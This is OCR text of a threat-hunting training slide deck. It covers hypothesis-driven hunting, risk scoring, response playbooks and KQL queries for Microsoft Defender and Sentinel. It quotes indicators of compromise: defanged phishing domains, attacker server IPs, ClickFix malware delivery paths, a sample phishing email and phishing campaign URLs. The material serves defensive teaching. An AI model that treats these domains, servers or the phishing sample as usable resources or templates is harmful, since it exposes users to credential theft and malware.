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Sergio Albea
Threat Hunting Expert

Microsoft®

Most Valuable
Professional
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Which is your experience with Threat Hunting?

9

Azure Sentinel l l

DefenderXDR
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Why is important?

Avg. Weekly Cyber Attacks per Organization in Q2
(2021 - 2025)

1984

1636

1163 1258

818

2021 Q2 2022 Q2 2023 Q2 2024 Q2 2025 Q2

https://blog.checkpoint.com/research/global-cyber-attacks-surge-21-in-q2-2025-europe-experiences-the-highest-increase-of-all-regions/
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Education

Government
Telecommunications
Healthcare & Medical
Associations & Mon Profits
Hardware & Semiconductors
Automotive

Energy & Utilities

Aerospace & Defence
Hospitality, Travel, & Recreation
Media & Entertainment
Business Services

Financial Services

Software

Consumer Goods & Services
Industrial Manufacturing
Construction & Engineering
Biotech & Pharmaceuticals
Agriculture

Real Estate, Rentals, & Leasing
Wholesale & Distribution
Transportation & Logistics
Information Technology

Global Avg. Weekly Cyber Attacks per Industry
(Q2 2025 Compared to Q2 2024)

2612 [+38%)]
2527 [+26%)]

— 2164 [+53%]

e 051 [+35%]

e 1997 [+26%0]
I 1966 [+30%]

e ] 240 [ +64%]
— 1825 [+19%]
s 1521 [+28%]
I ] 701 [+18%]
I 1 769 [+33%]
EEEEEEEE—— ] 734 [+16%0]
s ] 608 [+2.3%)]
E— 1 589 [+1%;)
I 1 575 [+7%]
Easssssssssss————— 1453 [+91%]
I 1344 [-6%)]
I 1335 [-11%]

s 143 [+5%]
I 1141 [+29%]

4388[+31%]

Switch https://blog.checkpoint.com/research/global-cyber-attacks-surge-21-in-q2-2025-europe-experiences-the-highest-increase-of-all-regions/



Indicators of Compromise

Why is important? October 2026

Hackers used Compromised ConnectWise
Backup Credentials to Hack 173 Microsoft 365
Accounts

Guru Baran - October 17, 2026

Indicator Description

10C Type

Trusted backup
application abused to
access Microsoft 365

ConnectWise Cloud

Application name
pplicatt Backup

customer tenants

=" Microsoft 365

Legitimate ConnectWise
Cloud Backup OAuth
application, formerly

506e08f9-6e9a-4dad—
942b-a099a03644ae

Hackers used a stolen ConnectWise Cloud Backup credential to sign in to 173
Microsoft 365 partner and customer tenants, giving them access through a...

Application ID

SkyKick Backup
Hackers Using Fake Google Meet Pages to Steal Indicators of compromise (loCs):-
Google Credentials
u Tushar Subhra Dutta - October 20, 2026 Type Indicator
Two websites are hosting fake Google Meet pages designed to steal Google Domain meet-google[.]lcyou
Fake Google Meet Pages account cred.entiols and carry out phishing involving two-factor authentication Domain qooglol.]com

(2FA), according to...

Web path /meet

Web path /install

Same login HTML/JS, /s/<token> and

s ROMULUS DELIVERY PLATFORM
o .g’s‘}

/app/<token> routing

q] ROMULUS

Hackers Use New ROMULUS ClickFix Platform to
Deliver Malware and Evade Security Detection

Tushar Subhra Dutta - October 16, 2026

Hackers are using a newly identified platform called ROMULUS to deliver
malware through ClickFix traps, combining hidden PowerShell scripts, altered
software installers, and encrypted..

96.62.224.81

(server documented
by Huntress)

L 4

/5/50d6565cf39e
(PowerShell stage)

Switch

v

/app/50d6565cf39e
(lconEdit2Turb.msi)

=

86.109.75.7

(server used on the

analyzed incident)

ROUTE A

/s/19481b28bd67
(PowerShell stage)

|

\ 4

= /app/19481b28bdé7
= {5} (lconEdit2Turb.msi)

Identical Stardock DeElevation payload

ROUTE B

/s/6c67e0336a7b
(LegionLoader chain)
|

W

orbitflownetwork.lol

Ty
v
151.240.151.223
A 2394145224
&Y 93152224118
2.27.248[.1127

(other servers not analyzed)

I

/app/<others>
(other MSI routes)

Source: https://cybersecuritynews.com/




Differentiate between Theat Hunting and Threat Detection

What bad things could be happening unnoticed? Did something bad happen?
Proactive Reactive
Human-driven, hypothesis-based Automated, rule-based
Searches for unknown / hidden threats Focuses on known threats
Initiated by analysts Triggered by alerts
Uses behavior & ATT&CK Uses IOCs & signatures
Output: New detections & insights Output: Incidents

Hunting Detection
Switch 9




Differentiate between Theat Hunting and Threat Detection

inreat
Hunting

Switch

01010101

el

Detection

Inreat
Hunting

Detection

Image Source
(https://www.mermecgroup.com/northamerica/protect/level-crossing/1033/level-
crossing-obstacle-detection.php) 10



Why is important? October 2026 Indicators of Compromise

10C Type Indicator Description
Trusted backup
Hackers used Compromised ConnectWise N ConnectWise Cloud application abused to
c Backup Credentials to Hack 173 Microsoft 365 FRIEEEEISIERS Backup access Microsoft 365

Accounts customer tenants

Guru Baran - October 17, 2026 Legitimate ConnectWise
506e08f9-6e9a-4dad— Cloud Backup OAuth
942b-a099a03644ae application, formerly
SkyKick Backup

=" Microsoft 365

Hackers used a stolen ConnectWise Cloud Backup credential to sign in to 173 Application ID
Microsoft 365 partner and customer tenants, giving them access through a...

Hackers Using Fake Google Meet Pages to Steal
I Google Credentials

Tushar Subhra Dutta - October 20, 2026

Indicators of compromise (loCs):-

Indicator

Type

Domain meet-google[.]cyou

Two websites are hosting fake Google Meet pages designed to steal Google
Fake Google Meet Pages account credentials and carry out phishing involving two-factor authentication
(2FA), according to..

Domain googlo[.]com

/meet

/install

Web path
Web

path

] ROMULUS DELIVERY PLATFORM
E‘ﬁ Same login HTML/JS, /s/<token> and
/app/<token> routing
. ° e | ——
Hackers Use New ROMULUS ClickFix Platform to e I T
ROMULUS 4 4 o
Deliver Malware and Evade Security Detection R 56109757 151.240151223
Elg (server documented E (server used on the E@ ig:’;;:::?:a
Tushar Subhra Dutta - October 16, 2026 by Huntress) analyzed incident) 207300 N2z
. . g . ther ser not analyzed)
Hackers are using a newly identified platform called ROMULUS to deliver i mu,‘“//// G
malware through ClickFix traps, combining hidden PowerShell scripts, altered /5/50d6565cf39¢ N /s/19481b28bdis7 J5/6¢6760336a7b
software inStO”erS, and enCrypted... (PowerShell stage) (PowerShell stage) (LegionLoader chain) e N
¢ ¢ ¢ & e
- /app/50d6565cf39e = /app/19481b28bdé7 Q - /app/<others>
E} (IconEdit2Turb.msi) '-{3} (IconEdit2Turb.msi) orithapmetwodclol Ia (other MSI routes)
Identical Stardock DeElevation payload

Switch _ 11
Source: https://cybersecuritynews.com/



All Hunting in one Image

Switch

o

( HYPOTHESIZE )

12
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Think Like a Hunter



Think like a Hunter

Curiosity
over comfort

If nothing alerted,
ask why.

Switch

e
=l R~

Behaviour
over artefacts

Hunt what the attacker
has to do, not only
today’s hash or IP.

Assume breach,
then disprove it

Start from the idea
that an attacker is
already here.

Okay with
finding nothing

No attacker can still
be a win — a new
detection or a blind
spot found.

14



Think like a Hunter

Curiosity
over comfort

If nothing alerted,
ask why.

Switch
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Think like a Hunter

__(C%_)

Behaviour
over artefacts

Hunt what the attacker
has to do, not only
today’s hash or IP.

Switch
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Think like a Hunter

N, .
Assume breach, ‘o )
then disprove it )x

Start from the idea
that an attacker is
already here.

Switch



Think like a Hunter

Okay with
finding nothing

No attacker can still
be a win — a new
detection or a blind
spot found.

Switch 18
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Threat Hypothesis



A threat hypothesis is a clear
assumption about something bad
that might be happening in your
environment.

On cybersecurity, can be translated as a
qguestion you try to answer with logs.

‘What if someone is logging in with
stolen credentials from another
country?

‘What if a compromised device is
t4fking to the internet when it &



Threat hypothesis

Threat hunting is not about finding alerts — it's about testing assumptions.

-

SUSPICION WHAT IF...?
Something Turn suspicion
doesn't feel right. into a hypothesis.

Switch

1l

i -

TELEMETRY

Look in the right
data.

EVIDENCE HUNT
Find what supports Run the hunt.
or refutes it. Get the answer.

21



Threat hypothesis Example - Signh-Attempt Location

Conditional Access Social Engineering:
Non Allowed Countries: _ : | Social Network
Block Countries : |

Olga Fernandez 8 Anup Patel 13
Senior Marketing Manager 9 Data Scientist | Amazon
amazon |india

BM .
Sales Director |IBM

inm

Project Manager | Microsoft

Cedric Dubois *5 Michelle Driscoll 13
-
a
F e

2! SOteginUsates

Vuyo Nkosi 2 @ Lotte van der Meer s
o0 mad

Software Engineer | Meta HR Specialist | Philips
CQMeta South Africa PHILIPS TRethelrslands

Switch -



Threat hypothesis Example - Signh-Attempt Location

Conditional Access:
Block VPN Network Ranges/ASN

Detection Rule:

When the latitude and longitude based on sign-in attempt
are too far.

Switch

23
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Incident Risk Score

Switch

VALLS CASTELLS

A strong castle
is not built by
one person.

It is built by all
the pieces together.

NEW COUNTRY

First time here

+

NEW ASN
Different network

.|.
NEW DEVICE :

Unrecognized device

+

UNUSUAL BEHAVIOUR
Not normal for this user

+

UNUSUAL TIME
Outside usual hours

RISK SCORE
5 1 »

— —_——

HIGH

A A LOW

The more independent
signals agree, the
stronger the hunt.

25



Incident Risk Score - Case 01

Suspicious Sign-in

08:12 08:14 08:16 08:18 08:19
New country New ASN / IP New device Unusual time Unusual behaviour
Sign-in from Different network Unrecognized Outside usual Access to sensitive
new country and IP reputation device hours for this resources shortly
(never seen) suspicious user after sign-in
+20% +15% +20% +15% +30%
(@ O O O e
Risk score
100%
100% g
75%
HIGH RISK
50%
Multiple signals
25% indicate a
suspicious sign-in.
0%

Switch




Incident Risk Score — Case 02

Switch

Suspicious Email

10:03 10:03 10:03 10:03 10:05
Suspicious sender Suspicious URL Suspicious attachment Urgent subject Many targets
Unknown or Link to suspicious Unexpected or Contains urgency Sent to multiple
spoofed sender or newly registered malicious file type or unusual users in the
domain domain (e.g. .zip, .exe) content organisation
+20% +25% +20% +15% +20%
O O O O L]
Risk score
100%
100% g
75%
HIGH RISK
50%
Multiple signals
25% indicate a
suspicious email.
0%

27
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Atomic Testing

Switch

Q- Q-

1. HYPOTHESIS

2. HUNT

o

3. DETECTION 4. ATOMIC TESTING

|
|
|
|
|
|

Simulate - Validate « Verify

PROVEN & CONFIRMED

Q - ‘ - (V)

5. ALERT & CONFIDENCE

————————

29



Atomic Testing

Validate before : Show blind spots & e Build real confidence

real attacks false positives
Know which ATT&CK techniques
Find out your rule is broken A test fails quietly (a gap to close) or behaviours you have actually
on a quiet Tuesday of your or fires on something harmless tested, instead of assuming
choosing — not mid-incident. (noise to tune out). Both give you your detection works.

something to fix.

.o
&
°
L4

Switch 30
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Hunting Playbooks

—

SUSPICIOUS SIGNAL

A suspicious signal
or behaviour detected

Switch

NOT COMPROMISED
—

Close and document

COMPROMISED

Trigger response
actions

m) ® & Ho

CONTAIN

Isolate account, device
or session

REMEDIATE

Reset password, revoke
tokens, remove access

MITIGATE

Block indicators,
update rules

DOCUMENT

Record findings
and actions

32



Hunting Playbooks

gD @

Switch

1

Suspicious

user account

2A

Reset password

Revoke sessions
tokens

Check account
activity

Hunt and scope
across environment

MM

2

Suspicious

email

&

Move to quarantine
or remove

Check if user clicked
the link

Check if attachment
was opened

See if same email
reached other users

3

Suspicious

device or login

i

W R

Block device or IP

Revoke sessions
enforce reauth

Investigate device,
IP and session details

Monitor for similar
activity

4

Malicious domain
or network activity

\

1\

® Block domain or IP

Q Check connections
and affected devices

O»n  Hunt for same IOC
M across environment

Document findings
and monitor

33
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Log Retention

Switch

1. DETECTION TIME # COMPROMISE TIME

DAY -60 DAY -40 DAY -20 DAY -5 DAY O
O & ® @ ®
i,
= {ot ¢S A
o) T
Initial Access Persistence Lateral Exfiltration ALERT
Movement 1\

We see it here

: AVAILABLE LOGS: 30 DAYS :

1\

Visibility starts here

35
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Threat Hunting on the Al era

Switch

v Craft convincing

_\'J_ phishing emails

content (docs, scripts,
code, deepfakes)

_’J Generate malicious

— Create fake websites

- e and personas

o Automate attacks

— (e.g. chat, support,
credential harvesting)

Adversaries use Al to:

Scale their attacks, create realistic content,
and automate social engineering — faster,
cheaper and with higher success rates.

Threat hunters use Al to:

Find what others might miss, correlate signals,
understand the bigger picture and detect
threats earlier and with more precision.

Detect anomalies
and suspicious
behaviour

Enrich and correlate
data across sources

Prioritise and
reduce noise

Build advanced
detections and
monitoring

37



Al Reality over Threat Hunting

Microsoft Security
s security-noreply@account-alerts.com
To: you@yourdomain.com

Mon, Cct 7, 2024 9:14 AM « voe

Urgent: Unusual sign-in detected on your account

" Microsoft

Unusual sign-in activity detected

Hi there,
. : S : . T
We detected a sign-in to your Microsoft account from a new location and device. ms Microsoft
If this was you, no further action is needed. If not, your account may be at risk. Sign in
DeViCe andows Eral, ohone, or .'i'ﬁ:,'rl.'.
Q Location Frankfurt, Germany
N Biein T Creckt ornl

Time Oct 7, 2024 9:14 AM (UTC)

Can'l access yawr aocount!

: .- Maxt
Review recent activity

You can also secure your account by verifying your identity.

L, Sign-n optiona
Thank you,
The Microsoft account team

Privacy Statement | TermsofUse | Support

Source: https://www.isaca.org/resources/isaca-journal/issues/2025/volume-1/artificial-intelligences-dual-role-in-phishing-attacks

Switch
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Threat Hunting Community

[

Yol N%
2 />
Community Create / Adapt
Learn from others Use GitHub, others

and Al (as a helper)

Switch

D

Improve & Share

Evolve detections
and give back to
the community

40
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Kusto Query Language (KQL)

KQL is a language developed by Microsoft, designed to explore, filter, analyze, and correlate large volumes of

data efficiently.

KQL shares similarities with SQL, as both support filtering, sorting, aggregations, and joins.
KQL is particularly well-suited for log analysis, threat hunting, and detection engineering, making it easier to

identify patterns, investigate suspicious activities, and transform raw data into actionable insights.

O

Defender XDR

@ A0

Sentinel Log Analytics

Azure Monitor

Azure
Data Explorer

Switch

. )
7 <3

Microsoft Fabric Resource Graph

Application
Insights

42



Kusto Query Language (KQL)

© 3

Select a table Filter records Project columns Sort results
Choose the data with where Show only the Organize the output
source. Apply conditions relevant information. with order by.
with where.

Switch



Kusto Query Language (KQL)

B

o
i

Select a table

Choose the data
source.

Switch

Devices

DeviceEvents
DeviceNetworkEvents
DeviceFileEvents
DeviceProcessEvents
DeviceRegistryEvents
DevicelmagelLoadEvents
Devicelnfo

DeviceTvmSoftwarelnventory

N\ /B

Identities

Identitylnfo
DevicelLogonEvents
EntraldSigninEvents
AADSignIinEventsBeta
EntraldAuditLogs
EntraldProvisioningLogs
RiskyUsers
RiskyServicePrincipals

Cloud Apps _/ x E Email
CloudAppEvents ® ¢ EmailEvents
CloudAppAuditEvents R f EmailAttachmentinfo
CloudAppDiscoveryEvents MICI‘OSO t EmailUrlinfo
CloudAppSecurityEvents Defender XDR EmailPostDeliveryEvents
Data tables

Cloud (Azure) \ O Security & Incidents

AzureActivity S SecurityAlert

AzureDiagnostics AlertEvidence

AzureSigninLogs Incidentinfo

AzureFirewallNetworkEvents
AzureNetworkAnalytics_CL

HuntingExposure
AdvancedHuntingResults
ActionCenter



Kusto Query Language (KQL)

EmailEvents
| where TimeGenerated > ago(1d)

KQL reads from left to right: each pipe | distinct Subject, SenderDomain

transforms the previous resulit.

= Source table
" Chained operators

" Result ready to explore

EmailEvents

| where TimeGenerated > ago(1d)
| summarize count() by
NetworkMessageld

Switch



Kusto Query Language (KQL)

Y S s ] Compare values in where.
Filter rows that match a condition.
e & == Equal to
I= Not equal to
EmailEvents > GreatZr than
| where ThreatTypes == "Phish"

>= Greater or equal
< Less than
= Less or equal

a Logical operators

Combine multiple conditions.

A String and set operators

Work with text values.

o ——
e Ee
S S i L Filter data or SenderFronbonain in ("microsoft. con’,
Filter records ' Keep only the relevant records (CLAEREON

Functions 'I’ Conditional filtering with if()
Use functions inside where. T R \ Create dynamic conditions.

igni ® EmailEvents

Tli;(t;zviz;iwer(UserPrincipalName) | extend Risk = iffETl:lre?tT?:pes"has "Phish",

endswith "@contoso.com" Filtered records High", "Low")

| where Risk == "High"

Switch



Kusto Query Language (KQL)

!ﬁ Table A

DeviceEvents

a0

& join

Table B

Devicelnfo

{

inner join
Only matching

records in both tables.

TableA
| join kind=inner
TableB on Key

SAwIitCn

)

leftouter join

All records from left
table (A) + matching
from right table (B).

TableA
| join kind=leftouter
TableB on Key

)

rightouter join
All records from right

table (B) + matching
from left table (A).

TableA
| join kind=rightouter
TableB on Key

J

fullouter join

All records from both
tables (A and B).

TableA
| join kind=fullouter
TableB on Key

leftanti join
Records from A that

do NOT have a match
in B.

TableA
| join kind=leftanti
TableB on Key

rightanti join
Records from B that

do NOT have a match
in A.

TableA
| join kind=rightanti
TableB on Key

l

leftsemi join
Records from A that

HAVE a match in B
(only columns from A).

TableA

| join kind=leftsemi
TableB on Key



count()

Count the number
of records.

o ——
123

DeviceEvents
| summarize count()

make_set()

Create a set of distinct
values (unique list).

contoso.com

microsoft.com @ microsoft.com
contoso.com
@ google.com
google.com
DeviceNetworkEvents
| summarize make_set(
RemoteUrl)

Switch

@® contoso.com

.1l Essential Aggregations in KQL

Summarize, calculate and analyze your data

dcount()

Count distinct values
(unique).

DeviceEvents
| summarize dcount(
AccountName)

make_list()

Create a list of values
(including duplicates).

N
80
443 — [80, 443,
80 80, 8080]
8080
DeviceNetworkEvents
| summarize make_list(
RemotePort)

sum()

Calculate the sum
of numeric values.

-
10

20 —> 60

30

DecurityAlert
| summarize sum(Count)

arg_max() / arg_min()

Get the full record with
the max/min value.

e T

userl 10:00

user2 12:30

user3 09:15
DevicelogonEvents

| summarize arg_max(
Timestamp, *)

avg()

Calculate the average
of numeric values.

o [
10

20 — 20

30

DeviceNetworkEvents
| summarize avg(BytesSent)

countif()

Count records that
meet a condition.

oo Coun ]

Success 120
Failure 35
DevicelLogonEvents

| summarize countif(
ActionType == "LogonSuccess")

min() / max()

Get the minimum
or maximum value.

i S| min
2026-10-01 —> 2026-10-01
2026-10-05

2026-10-08 —>

max

2026-10-08

DeviceEvents
| summarize min(Timestamp),
max (Timestamp)

percentiles()

Calculate percentiles
(e.g. 50, 90, 95).

P50 120

P90 850

P95 1,200
DeviceNetworkEvents

| summarize percentiles(
BytesSent, 50, 90, 95)



Group and Count in KQL

SecurityEvent
TimeGenerated | EventID Account
2026-10-20 10:12:34
2026-10-20 10:25:11
2026-10-20 10:48:07
2026-10-20 11:03:21
2026-10-20 11:15:42

2026-10-20 11:37:56

Raw events

Many individual events
with timestamps.

SecurityEvent

| summarize Events=count()
by bin(TimeGenerated, 1h),
EventID

Group and count

Aggregates events by time interval
and EventID.

@ EventID 4625
A @ EventiD 4624
EventID 4740

Events

08:00 0%9:00 10:00 11:00 12:00
Time (1h bins)

Results

Event counts per hour and EventID,
revealing patterns.



Detection Rules + Actions

<> New query* X > New query* X + [

> Run query Last 7 days Save ™ |2 Share link ) Create detection rule

A Query Devices
1 DeviceEvents
2 | where FolderPath contains "Users\\Public" and FileName !endswith ".lnk"
3 | distinct Timestamp,DeviceName, DeviceId, ActionType, FileName, FolderPath, ReportId

Action

Azure Sentinel

Users

- - D Mark user as compromised

DefenderxDR Notification Alert |
SWitCh [ ]Delete email

Emails

[_ J Move to mailbox folder




KQL First Contact = sergioalbea.com/465-2/

Casel: Which is the
senderdomain sending
emails with the IP:
5.79.109.115 ?

Case2: How many different
Threat Names are identified
Into the received Emails?

EmailEvents
| where SenderIPv4 has '5.79.109.115'
| summarize by SenderFromDomain

1result 3.00 ms

SenderFromDomain

foreste-art.shop

Switch

EmailEvents
| distinct ThreatNames

9results 1.00 ms

ThreatNames
Phish.MailBait.A
Trojan:Script/Phonzy.B!ml
Spam.Bulk

Trojan:Win32/Qakbot

Backdoor:Win32/Qbot
Trojan:Script/Wacatac.B!ml
Phish.Credential.B

TrojanDownloader:097M/Emotet

Case3: Which
recipients have
received Email
with Malware and
have been
delivered into
Inbox Folder?

EmailEvents

| where ThreatTypes has 'Malware' and DeliverylLocation has
'Inbox"

| summarize by RecipientEmailAddress

4 results 2.00 ms Copy as CSV

RecipientEmailAddress
lena.kaufmann@contoso.ch
legal@contoso.ch
sofia.moser@contoso.ch

nina.frei@contoso.ch

Case4: How many distinct emails have been
delivered into Inbox Location?

EmailEvents

1result 1.00 ms

DeliveryLocation

Inbox

| where DeliveryLocation has 'Inbox'
| summarize dcount(NetworkMessageId) by DeliverylLocation

Copy as CSV

dcount(NetworkMessageld)

51
235
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Threat Hunting scenarios



Threat Hunting Result Analysis

It has real

damage?

Switch_
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Email with Emojis in the Subjects

Subject Hunting

- Pl

#| URGENT: 2FA Mandatory - Protect Your Wallet by 31/12/2025 Risk Score

Claude finds Firefox bugs %, Claude Marketplace %, Codex Security &

Hai unlcredito di $20 in Uber Cash nel tuo account &

R Al Security &, Pull Request Flood ., Uber's Agentic System &£
Al Agent Wars Heat Up &#, Al Security Tightens &, SaaS Gets Shaken Up N\
DuckDB 1.5 Released &, Critical Looker Security Bugs 1., BigQuery Anomaly Detection &

DuckDB 1.5 Released &, Critical Looker Security Bugs 1., BigQuery Anomaly Detection &4

i

ai un credito di $40 in Uber Cash nel tuo account &

Switch_
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Email with Emojis in the Subjects

Country V

Argentina
Serbia
France
Seychelles
Seychelles
Russia
Ireland
Ireland
Japan

France

Switch_

DetectedLanguage Vv \/

de
de
en
de
de
de
de
de
en

en

EmailLanguage V

de
de
en
de
de
de
de
de
en

en

EmailCount Y v

Huntin
ThreatTypes VvV | v/ g

HPhisn] Risk Score
["Phish, Spam"]

["Phish, Spam"]

["Phish, Spam"]
["Spam","Phish, Spam"]
["Phish"]

["","Phish, Spam"]
["","Phish","Phish, Spam"]
["Spam","Phish, Spam"]

["Phish, Spam"]
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Email Hunting over InternetMessageld

SecurityEvent

/fhc‘(vemoogsn\‘
Year/month/date / Process ID
(Sectionl) (Section4)

Hour/Min/Sec (UTC) Sequence number
(Section2) (Section3)

For sending systems where the identifier contains the message creation

TimeGenerated |

2026-10-20 10:12:34

2026-10-20 10:25:11

2026-10-20 10:48:07

2026-10-20 11:03:21

2026-10-20 11:15:42

2026-10-20 11:37:56

time, those two timestamps are expected to be close. But what happens when

they are not?

A large gap can surface messages generated long before delivery and

give us another signal to investigate.
The true-positive ratio was surprisingly high, and several suspicious emails

surfaced that had not been flagged by any other detection.
Switch

EventiD

Account
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Phishing Campaigns Classification

inreat
Hunting

Domains Subject

Sender
Switch DisplayName



Phishing Campaigns statistics (dcount)

I hreat
Hunting

ThreatTypes Url v Total_IPs | v

Phish &) https://logisdistro.com/ cf

Total_Senders Total_Subjects v Total Domains

3 10 7

EmailEvents
| where ThreatTypes has !

| join kind=inner (EmailUrlInfo) on NetworkMessageld
| extend SenderIP =

iff(isnotempty( SenderIPv4),SenderIPv4,SenderIPv6)
| summarize Total IPs=

dcount(SenderIP),Total Senders=dcount(SenderDisplayName)
,Total Subjects=dcount(Subject),

Total Domains= dcount(SenderFromDomain) by Url

Switch

https://logisdistro.com/
logisdistro.com text/html; charset=UTF-8

text/html external-resources blocked-waf

DETECTION DETAILS COMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate ¢

Security vendors' analysis

G-Data Sophos

Fortinet Abusix




Phishing Campaigns summary
(make_set)

EmailEvents

| where ThreatTypes has

| join kind=inner (EmailUrlInfo) on NetworkMessageld
| extend SenderIP =

iff(isnotempty( SenderIPv4),SenderIPv4,SenderIPv6)

| summarize Total IPs=

make set(SenderIP),Total Senders=make set(SenderDisplayName),Total
~Subjects=make set(Subject),Total Domains=

make set(SenderFromDomain) by Url

Switch

Inspect record

Url
) https://logisdistro.com/ &

Total_IPs

Value

181.224.45.1
63.252.206.121
52.163.121.222

41.180.16.181

Total_Senders

Value

DHL EXPRESS
DHL On Demand

Shipping Notification

Total_Subjects

Value

¥ Neue Information: Paket Bitte (iberpriifen NO 4933683

<& Sendung Information erforderlich 194671

il Sendung - Aktion erforderlich NO 1407734

[ Lieferung Warnung - Uberpriifung erforderlich NO 4056180
@ sendung Neue Information - Aktion erforderlich NO 5689106
@ Wichtig: Versand Sofortige Aktion 281510

¥ Paket Statusaktualisierung - Bitte Uberpriifen NO 6168837

Total_Domains

Value

mail02.tiendaspronto.com
servicecenter.com
rnd1769.com
mail02.terra-petroleo.com
mail.aurousresources.com

mail02.tecnoquimica.hn
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Phishing Campaighs summary (Distinct Days + Deliveryl ocation)

ThreatTypes

Phish
Phish
Phish
Phish
Phish
Phish
Phish
Phish
Phish
Phish
Phish
Phish
Phish
Phish
Phish
Phish
Phish
Phish

Phish

Url v

2] https://ssl.gstatic.cor &
€ https://www.gstatic.c =
© https://www.google.
2] http://zoho.com/inve &
©) https://zoho.com/im
2] https://zoho.com/im &7
2] https://www.zoho.co ©F
©) https://email.notify.t| =
2] https://dhliteship.cor =
€ http://www.phbern.c &
©) https://message-edii =
€ https://email.notify.tl
€ https://message-edii &
©) https://dhliteship.cor =
€ https://zidfmiphsg.c
©) https://teamupdraft.
2] http://www.serafe.ch &
2] https://static2.sharef &

© https://static2.sharef &

Total_IPs Total_Senders

["2607:f8b0:4864:20::847"," ["Céline Etter (liber Google
["2607:f8b0:4864:20:847"" ["Céline Etter (liber Google
["2607:f8b0:4864:20::847"," ["Céline Etter (Uiber Google

['2a01:111:f403:c214:1""1 ["Galaxus AG","NESPRESSC

Total_Subjects Total_Domains

dcount_Time_ |

["2a01:111:f403:c214:1""1
['2a01:111:f403:c214:1""1
["2a01:111:f403:c214:1""1
['2607:f8b0:4864:20::e48",
["20.211.160.68","211.105.(
["2a01:111:f403:da13::","2a
['2607:f8b0:4864:20::948" '
["2607:f8b0:4864:20::e45",
['2607:f8b0:4864:20::e45",
['23.90.103.66","211.105.6!
['217.26.49.147","217.26.4
['217.26.49.147","217.26.4¢
["103.123.158.58" "103.21¢€
["2a01:111:f403:d200:2" "2

['2a01:111:f403:d200:2","2

["Galaxus AG","NESPRESS(
["Galaxus AG","NESPRESS(C
["Galaxus AG","NESPRESSC
["Spotify”,"Spotify Premiur
["Liefer-Schnellversand","S
[*" "International Student (
["Spotify Premium"”,"Spotif
["Spotify Premium","Spotif
["Spotify Premium”,"Spotif
["Express-Zustellung","Kun
["UpdraftPlus on zidfmiph
["UpdraftPlus on zidfmiph
["Serafe.AG","SERAFE","SEF
["Florina Gjergji Lukic","Raj

["Florina Gjergji Lukic","Raj

["Ein Dokument wurde fir ["gmail.com"] 7
["Ein Dokument wurde fir ["gmail.com"] 7
["Ein Dokument wurde fir ["gmail.com”] 7
["@ NUR HEUTE: 99% spai ["senderzohoinvoice.con ' 7
["@ NUR HEUTE: 99% spai ["senderzohoinvoice.con ' 7

["@ NUR HEUTE: 99% spai ["sender.zohoinvoice.con ' 7
["@ NUR HEUTE: 99% spai ["senderzohoinvoice.con ' 7
["lhre letzte Zahlung fur Sy ["sgduiorn.firebaseapp.c¢ - 7

["[C] Schritt-fir-Schritt: Zoll ["mail.tthgroup.com","m:

~

["Undeliverable: Neuer Lin ["edu.schule-pieterlen.ch | 7
["lhre letzte Zahlung flr Sy ["user-86647 firebaseapp = 7
["lhre letzte Zahlung flr Sy ["user-86647 firebaseapp & 7
["lhre letzte Zahlung flr Sy ["user-86647 firebaseapp & 7
["[SPAM] <8 LKW-Sendung ["esa2.hc530-66.smtpi.cc 1 7
["Backed up: Zug in die Fre ["zidf.miphsg.ch”] 7
["Backed up: Zug in die Fre ["zidf.miphsg.ch”] 7
["Abgabejahr 2026 - Bitte ["kpu.go.id","collins-ph.c 1 7
["Florina Gjergji Lukic \"Eni ["outlook.com""goldbac 1 7

["Florina Gjergji Lukic \"Eni ["outlook.com""sharepoly 7

Switch

set Time_ v

["17-01-2026","21-01-20)
["17-01-2026","21-01-20)
["17-01-2026","21-01-20)
["02-02-2026","29-01-202
["02-02-2026","29-01-202t
["02-02-2026","29-01-202¢
["02-02-2026","29-01-202¢
["24-01-2026","21-01-202¢
["10-01-2026","11-01-202¢
["05-01-2026","13-01-202¢
["20-01-2026","21-01-202¢
["20-01-2026","21-01-202¢
["20-01-2026","21-01-202¢
["14-01-2026""15-01-202¢
["31-01-2026","28-01-202¢
["31-01-2026","28-01-202¢
['05-01-2026","07-01-202¢
["05-01-2026","31-01-202¢

["05-01-2026","28-01-202¢

Delivered_on

["Inbox/folder", Ruarantine"]

["Inbox/folder","Ruarantine”]

["Quarantine","Junk foldel"Inbox/folder"]
["Quarantine","Junk folde@"Inbox/folder"]
["Quarantine","Junk folde@"Inbox/folder"]
["Quarantine”,"Failed","On-premises/external"]
["Quarantine”,"Dropped","On-premises/external"," Faile
["Quarantine”,"Failed","Junk folder"]
["Quarantine"]

["Quarantine"]

["Quarantine"]

["Quarantine”,"Dropped"]

["Quarantine","Junk folder"]
["Quarantine”,"Junk folder"]
["Quarantine","Junk folder"]

["Junk folder","Quarantine","Inbox/folder","Failed"

["Junk folder","Failed","Quarantirf@","Inbox/folder"]
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Phishing Emails

EmailEvents

| where ThreatTypes has 'Phish' and ThreatTypes !contains "Spam"

| join kind=inner (EmailUrlInfo) on NetworkMessageld

| extend SenderIP = iff(isnotempty( SenderIPv4),SenderIPv4,SenderIPv6)
I

extend Time = format datetime( Timestamp, 'dd-MM-yyyy')

| summarize Total IPs=make set(SenderIP),Total Senders=make set(SenderDisplayName),
Total Subjects=make set(Subject),Total Domains= make set(SenderFromDomain),dcount(Time ),

make set(Time ),Delivered on=make set(DeliveryLocation) by Url

Total_Subjects Total_Domains dcount_Time_ | Vv set Time_ v/
¢ ["Ein Dokument wurde fir ["gmail.com"] 7 [*17-01-2026","21-01-207
¢ ["Ein Dokument wurde fir ["gmail.com”] 7 [*17-01-2026","21-01-202
¢ ["Ein Dokument wurde fir ["gmail.com"] 7 [*17-01-2026","21-01-202

Delivered_on

["Inbox/folder",
["Inbox/folder",’

["Inbox/folder",’

Duarantin

Nuarantin

Nuarantin

Emails

l | Move to mailbox folder

[ | Delete email

Switch

Detection
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Threat Hunting applied on
Network



Malicious Hotspot Networks shared via Iphone

Switch



Malicious Hotspot Networks shared via Iphone

DeviceNetworkInfo // Table

| where DefaultGateways has "172.20.10.1" //Iphone Gateways
| extend Network _Name = tostring(parse_json(ConnectedNetworks)[0]["Name"])
| where isnotempty(Network_Name)

//| where (Network_Name contains or Network_Name contains
. or Network Name contains
| summarize by Network_Name, DefaultGateways

Network_MName DefaultGateways

iphone i 172201011

Phone [*172.20.10.1"]

bla's iPhone 2 ["172.20.10.1"]
Free Wifi [*172.20.10.1"]
AENA Airport ["172.20.10.1"]

- iPhone ["172.20.10.1"]

or Network Name contains

I nreat
Hunting

Users

Can we

D Mark user as compromised

responsd?

Detection

